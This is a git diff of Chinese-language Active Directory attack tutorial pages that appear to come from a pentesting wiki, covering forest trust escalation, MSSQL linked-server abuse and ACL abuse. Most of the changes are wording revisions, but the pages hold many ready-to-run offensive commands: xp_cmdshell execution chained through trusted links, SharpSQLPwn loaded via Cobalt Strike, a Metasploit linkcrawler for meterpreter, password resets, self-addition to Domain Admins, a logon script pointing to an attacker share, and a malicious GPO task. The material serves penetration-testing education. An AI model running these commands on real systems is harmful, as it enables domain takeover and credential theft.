**安全描述符**用于**存储**对象对另一个对象的**权限**。如果你只需在对象的**安全描述符**中**进行一点更改**,你可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。
**安全描述符**用于**存储**对象对另一个对象的**权限**。如果您只需对对象的**安全描述符**进行**小改动**,就可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。
{{#ref}}
security-descriptors.md
@ -476,7 +479,7 @@ skeleton-key.md
### 自定义 SSP
[在这里了解什么是 SSP安全支持提供者](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。
可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。
{{#ref}}
custom-ssp.md
@ -484,8 +487,8 @@ custom-ssp.md
### DCShadow
它在 AD 中注册一个**新的域控制器**,并利用它在指定对象上**推送属性**SIDHistory、SPNs...**不留**任何关于**修改**的**日志**。你**需要 DA** 权限并在**根域**内。\
注意,如果你使用错误的数据,会出现相当丑陋的日志。
它在 AD 中注册一个**新的域控制器**,并使用它在指定对象上**推送属性**SIDHistory、SPNs...**不留下**任何关于**修改**的**日志**。您**需要 DA** 权限并在**根域**内。\
请注意,如果您使用错误的数据,将会出现相当丑陋的日志。
{{#ref}}
dcshadow.md
@ -493,7 +496,7 @@ dcshadow.md
### LAPS 持久性
之前我们讨论了如果有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
之前我们讨论了如果有**足够的权限读取 LAPS 密码**,如何提升权限。然而,这些密码也可以用于**维持持久性**。\
检查:
{{#ref}}
@ -502,19 +505,19 @@ laps.md
## 森林权限提升 - 域信任
微软将**森林**视为安全边界。这意味着**妥协个域可能导致整个森林被妥协**。
微软将**森林**视为安全边界。这意味着**妥协个域可能导致整个森林被妥协**。
### 基本信息
[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)是一种安全机制,使一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接,允许身份验证验证无缝流动。当域设置信任时,它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。
[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) 是一种安全机制,使来自一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接,允许身份验证验证无缝流动。当域设置信任时,它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**,这些密钥对信任的完整性至关重要。
在典型场景中,如果用户打算访问**受信任域**中的服务,他们必须首先从自己域的 DC 请求一个称为**跨领域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后,用户将此 TGT 提交给**受信任域的 DC**以获取服务票据(**TGS**)。在受信任域的 DC 成功验证跨领域 TGT 后,它会发出 TGS授予用户访问该服务的权限。
**步骤**
1. **域 1** 中的**客户端计算机**开始该过程,使用其**NTLM 哈希**请求其**域控制器 (DC1)**的**票据授予票据 (TGT)**。
2. 如果客户端成功通过身份验证DC1 发出新的 TGT。
3. 客户端然后从 DC1 请求一个**跨领域 TGT**,该 TGT 是访问**域 2**中资源所需的。
1. **域 1** 中的**客户端计算机**开始该过程,使用其**NTLM 哈希**向其**域控制器 (DC1)** 请求**票据授予票据 (TGT)**。
2. 如果客户端成功通过身份验证DC1 发出新的 TGT。
3. 然后客户端向 DC1 请求一个**跨领域 TGT**,该 TGT 是访问**域 2**中资源所需的。
4. 跨领域 TGT 使用作为双向域信任的一部分在 DC1 和 DC2 之间共享的**信任密钥**进行加密。
5. 客户端将跨领域 TGT 带到**域 2 的域控制器 (DC2)**。
6. DC2 使用其共享信任密钥验证跨领域 TGT如果有效则为客户端想要访问的域 2 中的服务器发出**票据授予服务 (TGS)**。
@ -522,7 +525,7 @@ laps.md
### 不同的信任
重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的。在最后一种情况下,**你只能从受信任的域访问信任域内的资源**。
重要的是要注意,**信任可以是单向或双向**。在双向选项中,两个域将相互信任,但在**单向**信任关系中,一个域将是**受信任**的,另一个是**信任**的域。在最后一种情况下,**您只能从受信任的域访问信任域内的资源**。
如果域 A 信任域 BA 是信任域B 是受信任域。此外,在**域 A**中,这将是**出站信任**;而在**域 B**中,这将是**入站信任**。
@ -533,28 +536,41 @@ laps.md
- **外部信任**:这些信任在不同的、不相关的域之间建立,通常是非传递的。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>),外部信任对于访问当前森林外的域中的资源非常有用,该域未通过森林信任连接。通过 SID 过滤增强安全性。
- **树根信任**:这些信任在森林根域和新添加的树根之间自动建立。虽然不常见,但树根信任对于将新域树添加到森林非常重要,使它们能够保持唯一的域名并确保双向传递性。有关更多信息,请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
- **森林信任**:这种类型的信任是两个森林根域之间的双向传递信任,也强制执行 SID 过滤以增强安全措施。
- **MIT 信任**:这些信任与非 Windows 的[RFC4120 兼容](https://tools.ietf.org/html/rfc4120) Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
- **MIT 信任**:这些信任与非 Windows 的 [RFC4120 兼容](https://tools.ietf.org/html/rfc4120) Kerberos 域建立。MIT 信任更为专业,适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
#### **信任关系中的其他差异**
- 信任关系也可以是**传递的**A 信任 BB 信任 C则 A 信任 C或**非传递的**。
- 信任关系可以设置为**双向信任**彼此信任)或**单向信任**(只有一个信任另一个)。
- 信任关系可以设置为**双向信任**双方相互信任)或**单向信任**(只有一个信任另一个)。
### 攻击路径
1. **枚举**信任关系
2. 检查是否有任何**安全主体**(用户/组/计算机)对**其他域**的资源有**访问**权限,可能通过 ACE 条目或在其他域的组中。寻找**跨域的关系**(信任可能是为此创建的)。
2. 检查任何**安全主体**(用户/组/计算机)是否对**其他域**的资源有**访问权限**,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域的关系**(信任可能是为此创建的)。
1. 在这种情况下kerberoast 可能是另一个选项。
3. **妥协**可以**跨域**进行**转移**的**账户**
攻击者可以通过三种主要机制访问另一个域中的资源:
- **本地组成员资格**:主体可能被添加到机器上的本地组中,例如服务器上的“管理员”组,从而授予他们对该机器的重大控制。
- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,这种方法的有效性取决于信任的性质和组的范围。
- **访问控制列表 (ACL)**:主体可能在**ACL**中被指定,特别是在**DACL**中的**ACE**内,提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人,题为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,方法的有效性取决于信任的性质和组的范围。
- **访问控制列表 (ACL)**:主体可能在**ACL**中被指定,特别是在**DACL**中的**ACE**内,提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人,白皮书《[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)是一个宝贵的资源。
### 子到父森林权限提升
### 查找具有权限的外部用户/组
您可以检查 **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** 以查找域中的外部安全主体。这些将是来自**外部域/森林**的用户/组。
您可以在 **Bloodhound** 中检查此项或使用 powerview
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
```
### 子到父森林权限提升
```bash
# Fro powerview
Get-DomainTrust
SourceName : sub.domain.local --> current domain
@ -565,6 +581,18 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
其他枚举域信任的方法:
```bash
# Get DCs
nltest /dsgetdc:<DOMAIN>
# Get all domain trusts
nltest /domain_trusts /all_trusts /v
# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> 这里有 **2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_。\
> 您可以使用以下命令查看当前域使用的密钥:
@ -584,7 +612,7 @@ sid-history-injection.md
#### 利用可写的配置 NC
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 保持配置 NC 的可写副本。要利用这一点,必须在 DC 上拥有 **SYSTEM 权限**,最好是子 DC。
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC),可写的 DC 保持配置 NC 的可写副本。要利用这一点,必须在 DC 上拥有 **SYSTEM 权限**,最好是子 DC
**将 GPO 链接到根 DC 站点**
@ -608,10 +636,10 @@ sid-history-injection.md
ADCS ESC5 漏洞针对对公钥基础设施 (PKI) 对象的控制,以创建一个证书模板,使其能够作为森林中的任何用户进行身份验证。由于 PKI 对象位于配置 NC 中,危害可写的子 DC 使得执行 ESC5 攻击成为可能。
更多细节可以在 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) 中阅读。在缺乏 ADCS 的情况下,攻击者有能力设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
有关更多详细信息,请参阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下,攻击者有能力设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
### 外部森林域 - 单向(入站)或双向
```powershell
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
@ -628,7 +656,7 @@ external-forest-domain-oneway-inbound.md
{{#endref}}
### 外部森林域 - 单向(出站)
```powershell
```bash
Get-DomainTrust -Domain current.local
SourceName : current.local --> Current domain
@ -641,7 +669,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
在这种情况下,**您的域**正在**信任**来自**不同域**的主体的一些**权限**。
然而,当一个**域被信任**时,受信任的域**创建一个用户**,其**名称是可预测的**,并使用**受信任的密码**作为密码。这意味着可以**访问来自信任域的用户以进入受信任域**,以枚举它并尝试提升更多权限:
然而,当一个**域被信任**时,受信任的域**创建一个用户**,其**名称是可预测的**,并使用**受信任的密码**作为**密码**。这意味着可以**访问来自信任域的用户以进入受信任域**,以枚举它并尝试提升更多权限:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -649,7 +677,7 @@ external-forest-domain-one-way-outbound.md
另一种妥协受信任域的方法是查找在域信任的**相反方向**创建的[**SQL受信任链接**](abusing-ad-mssql.md#mssql-trusted-links)(这并不常见)。
另一种妥协受信任域的方法是在一台**受信任域用户可以访问**的机器上等待,通过**RDP**登录。然后攻击者可以在RDP会话进程中注入代码并从那里**访问受害者的源域**。\
另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问**的机器上,通过**RDP**登录。然后攻击者可以在RDP会话进程中注入代码并从那里**访问受害者的源域**。\
此外,如果**受害者挂载了他的硬盘**,攻击者可以在**RDP会话**进程中将**后门**存储在**硬盘的启动文件夹**中。这种技术称为**RDPInception**。
{{#ref}}
@ -660,12 +688,12 @@ rdp-sessions-abuse.md
### **SID过滤**
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险该过滤在所有森林信任中默认启用。这是基于假设考虑到森林而不是域作为安全边界认为森林信任是安全的,符合微软的立场。
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险该过滤在所有森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为内部森林信任是安全的,这是微软的立场。
- 然而有一个问题SID过滤可能会干扰应用程序和用户访问导致其偶尔被禁用。
### **选择性身份验证:**
### **选择性证:**
- 对于森林间信任,采用选择性身份验证确保两个森林的用户不会自动进行身份验证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 对于跨森林信任,采用选择性认证确保两个森林的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是这些措施并不能保护免受可写配置命名上下文NC的利用或对信任账户的攻击。
[**有关域信任的更多信息请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -683,7 +711,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **凭据保护的防御措施**
- **域管理员限制**:建议仅允许域管理员登录到域控制器,避免在其他主机上使用。
- **服务账户权限**服务不应以域管理员DA权限运行以保持安全
- **服务账户权限**服务不应以域管理员DA权限运行以保持安全。
- **临时权限限制**对于需要DA权限的任务其持续时间应有限制。这可以通过以下方式实现`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **实施欺骗技术**

View File

@ -1,4 +1,4 @@
# MSSQL AD 滥用
# MSSQL AD Abuse
{{#include ../../banners/hacktricks-training.md}}
@ -91,11 +91,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
### Powershell
在这种情况下powershell 模块 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) 非常有用。
```powershell
```bash
Import-Module .\PowerupSQL.psd1
````
### 在没有域会话的情况下从网络枚举
```powershell
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
@ -109,7 +109,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### 从域内部枚举
```powershell
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
# Try dictionary attack to login
Invoke-SQLAuditWeakLoginPw
# Search SPNs of common software and try the default creds
Get-SQLServerDefaultLoginPw
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
@ -130,11 +136,23 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
## MSSQL 基本滥用
### 访问数据库
```powershell
```bash
# List databases
Get-SQLInstanceDomain | Get-SQLDatabase
# List tables in a DB you can read
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName
# List columns in a table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName
# Get some sample data from a column in a table (columns username & passwor din the example)
Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
#Dump an instance (a lotof CVSs generated in current dir)
#Dump an instance (a lot of CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
# Search keywords in columns trying to access the MSSQL DBs
@ -143,8 +161,8 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
### MSSQL RCE
在MSSQL主机内**执行命令**也可能是可行的。
```powershell
在MSSQL主机内**执行命令**也可能是可行的。
```bash
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```
@ -158,12 +176,12 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
## MSSQL 受信任链接
如果一个 MSSQL 实例被另一个 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库拥有权限,他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链接,在某些情况下,用户可能能够找到一些配置错误的数据库,在那里他可以执行命令。
如果一个 MSSQL 实例被另一个 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库拥有权限,他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链式连接,在某些情况下,用户可能能够找到一些配置错误的数据库,在那里他可以执行命令。
**数据库之间的链接甚至可以跨森林信任。**
**数据库之间的链接甚至可以跨森林信任工作。**
### Powershell 滥用
```powershell
```bash
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
@ -194,6 +212,12 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
```
另一个可以使用的类似工具是 [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):
```bash
SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
# Cobalt Strike
inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
```
### Metasploit
您可以使用 metasploit 轻松检查受信任的链接。
@ -202,7 +226,7 @@ Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
```
注意metasploit 只会尝试在 MSSQL 中滥用 `openquery()` 函数(因此,如果您无法使用 `openquery()` 执行命令,您将需要尝试 **手动** 使用 `EXECUTE` 方法来执行命令,详见下文。)
注意metasploit 只会尝试滥用 MSSQL 中的 `openquery()` 函数(因此,如果您无法使用 `openquery()` 执行命令,您将需要尝试 **手动** 使用 `EXECUTE` 方法来执行命令,详见下文。)
### 手动 - Openquery()
@ -223,7 +247,7 @@ EXEC sp_linkedservers;
#### 在可信链接中执行查询
通过链接执行查询(例:在新的可访问实例中查找更多链接):
通过链接执行查询(例:在新的可访问实例中查找更多链接):
```sql
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
@ -232,7 +256,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
![](<../../images/image (643).png>)
您可以手动无限制地继续这些受信任的链接链。
您可以手动无限期地继续这些受信任链接的链。
```sql
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
@ -254,7 +278,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
**MSSQL 本地用户** 通常具有一种特殊类型的权限,称为 **`SeImpersonatePrivilege`**。这允许该账户在身份验证后“模拟客户端”。
许多作者提出的一种策略是强制 SYSTEM 服务向攻击者创建的恶意或中间人服务进行身份验证。这个恶意服务能够在 SYSTEM 服务尝试进行身份验证时模拟
许多作者提出的一种策略是强制 SYSTEM 服务向攻击者创建的恶意或中间人服务进行身份验证。这个恶意服务能够在 SYSTEM 服务尝试进行身份验证时模拟该服务
[SweetPotato](https://github.com/CCob/SweetPotato) 收集了这些可以通过 Beacon 的 `execute-assembly` 命令执行的各种技术。

View File

@ -9,29 +9,29 @@
此权限授予攻击者对目标用户帐户的完全控制。一旦使用 `Get-ObjectAcl` 命令确认了 `GenericAll` 权限,攻击者可以:
- **更改目标的密码**:使用 `net user <username> <password> /domain`,攻击者可以重置用户的密码。
- **针对性 Kerberoasting**:将 SPN 分配给用户帐户,使其可进行 Kerberoasting然后使用 Rubeus 和 targetedKerberoast.py 提取并尝试破解票据授予票据 (TGT) 哈希。
```powershell
- **针对性 Kerberoasting**:将 SPN 分配给用户帐户,使其可进行 Kerberoasting然后使用 Rubeus 和 targetedKerberoast.py 提取并尝试破解票证授予票证 (TGT) 哈希。
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting**: 禁用用户的预身份验证,使其帐户容易受到 ASREPRoasting 攻击。
```powershell
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **GenericAll 权限在组上**
此权限允许攻击者操纵组成员资格,如果他们在像 `Domain Admins` 这样的组上拥有 `GenericAll` 权限。在使用 `Get-NetGroup` 确定组的可分辨名称后,攻击者可以:
此权限允许攻击者操纵组成员资格,如果他们在像 `Domain Admins` 这样的组上拥有 `GenericAll` 权限。在使用 `Get-NetGroup` 确定组的区分名称后,攻击者可以:
- **将自己添加到 Domain Admins 组**:这可以通过直接命令或使用像 Active Directory 或 PowerSploit 这样的模块来完成。
```powershell
```bash
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
## **GenericAll / GenericWrite / Write on Computer/User**
在计算机对象或用户帐户上拥有这些权限允许:
拥有计算机对象或用户帐户的这些权限允许:
- **Kerberos Resource-based Constrained Delegation**: 允许接管计算机对象。
- **Shadow Credentials**: 使用此技术通过利用创建影子凭据的权限来冒充计算机或用户帐户。
@ -41,26 +41,26 @@ Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.
如果用户对特定组(例如,`Domain Admins`)的所有对象具有 `WriteProperty` 权限,他们可以:
- **Add Themselves to the Domain Admins Group**: 通过结合使用 `net user``Add-NetGroupUser` 命令实现,此方法允许在域内提升权限。
```powershell
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **自我(自我成员)在组中**
此权限使攻击者能够通过直接操纵组成员资格的命令将自己添加到特定组,例如 `Domain Admins`。使用以下命令序列可以实现自我添加:
```powershell
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **WriteProperty (自我成员资格)**
## **WriteProperty (Self-Membership)**
类似的权限,攻击者可以通过修改组属性直接将自己添加到组中,如果他们在这些组上拥有 `WriteProperty` 权限。此权限的确认和执行通过以下方式进行:
```powershell
一个类似的权限,这允许攻击者通过修改组属性直接将自己添加到组中,如果他们在这些组上拥有 `WriteProperty` 权限。此权限的确认和执行通过以下方式进行:
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
```
## **ForceChangePassword**
持有用户的 `ExtendedRight` 权限以进行 `User-Force-Change-Password` 允许在不知道当前密码的情况下重置密码。可以通过 PowerShell 或其他命令行工具验证此权限及其利用,提供多种重置用户密码的方法,包括交互式会话和非交互式环境中的单行命令。这些命令从简单的 PowerShell 调用到在 Linux 上使用 `rpcclient`,展示了攻击向量的多样性。
```powershell
```bash
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@ -70,24 +70,24 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
## **对组的 WriteOwner 权限**
## **WriteOwner 权限在组上**
如果攻击者发现他们对一个组拥有 `WriteOwner` 权限,他们可以将该组的所有权更改为自己。这在该组是 `Domain Admins` 时尤其具有影响力,因为更改所有权允许对组属性和成员资格进行更广泛的控制。该过程涉及通过 `Get-ObjectAcl` 确定正确的对象,然后使用 `Set-DomainObjectOwner` 通过 SID 或名称修改所有者
```powershell
如果攻击者发现他们对一个组拥有 `WriteOwner` 权限,他们可以将该组的所有权更改为自己。这在该组是 `Domain Admins` 时尤其具有影响力,因为更改所有权允许对组属性和成员资格进行更广泛的控制。该过程涉及通过 `Get-ObjectAcl` 确定正确的对象,然后使用 `Set-DomainObjectOwner` 修改所有者,可以通过 SID 或名称进行修改。
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite on User**
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令将目标用户的 `scriptpath` 属性更新为指向攻击者的脚本来实现的。
```powershell
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本来实现的。
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite on Group**
通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用该对象将用户添加或从组中移除,并使用 PowerShell 命令验证成员资格更改。
```powershell
通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用它来添加或移除用户,并使用 PowerShell 命令验证成员资格更改。
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
@ -97,7 +97,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
## **WriteDACL + WriteOwner**
拥有一个 AD 对象并对其具有 `WriteDACL` 权限使攻击者能够授予自己对该对象的 `GenericAll` 权限。这是通过 ADSI 操作实现的,允许对该对象进行完全控制并能够修改其组成员资格。尽管如此,在尝试使用 Active Directory 模块的 `Set-Acl` / `Get-Acl` cmdlets 利用这些权限时仍然存在限制。
```powershell
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
@ -106,7 +106,7 @@ $ADSI.psbase.commitchanges()
```
## **域上的复制 (DCSync)**
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,使攻击者能够在没有直接访问域控制器的情况下,从 AD 环境中提取敏感信息。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md)
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,使攻击者能够从 AD 环境中提取敏感信息,而无需直接访问域控制器。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md)
## GPO 委派 <a href="#gpo-delegation" id="gpo-delegation"></a>
@ -118,22 +118,22 @@ DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数
要识别配置错误的 GPO可以将 PowerSploit 的 cmdlet 链接在一起。这允许发现特定用户有权限管理的 GPO`powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**应用定策略的计算机**:可以解析特定 GPO 应用到哪些计算机,帮助理解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**应用了给定策略的计算机**:可以解析特定 GPO 应用到哪些计算机,帮助理解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**应用于特定计算机的策略**:要查看应用于特定计算机的策略,可以使用 `Get-DomainGPO` 等命令。
**应用定策略的 OU**:可以使用 `Get-DomainOU` 识别受特定策略影响的组织单位 (OU)。
**应用了给定策略的 OU**:可以使用 `Get-DomainOU` 识别受特定策略影响的组织单位 (OU)。
### 滥用 GPO - New-GPOImmediateTask
配置错误的 GPO 可以被利用来执行代码,例如,通过创建一个立即的计划任务。这可以用来将用户添加到受影响机器的本地管理员组,从而显著提升权限:
```powershell
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy 模块 - 滥用 GPO
### GroupPolicy module - Abuse GPO
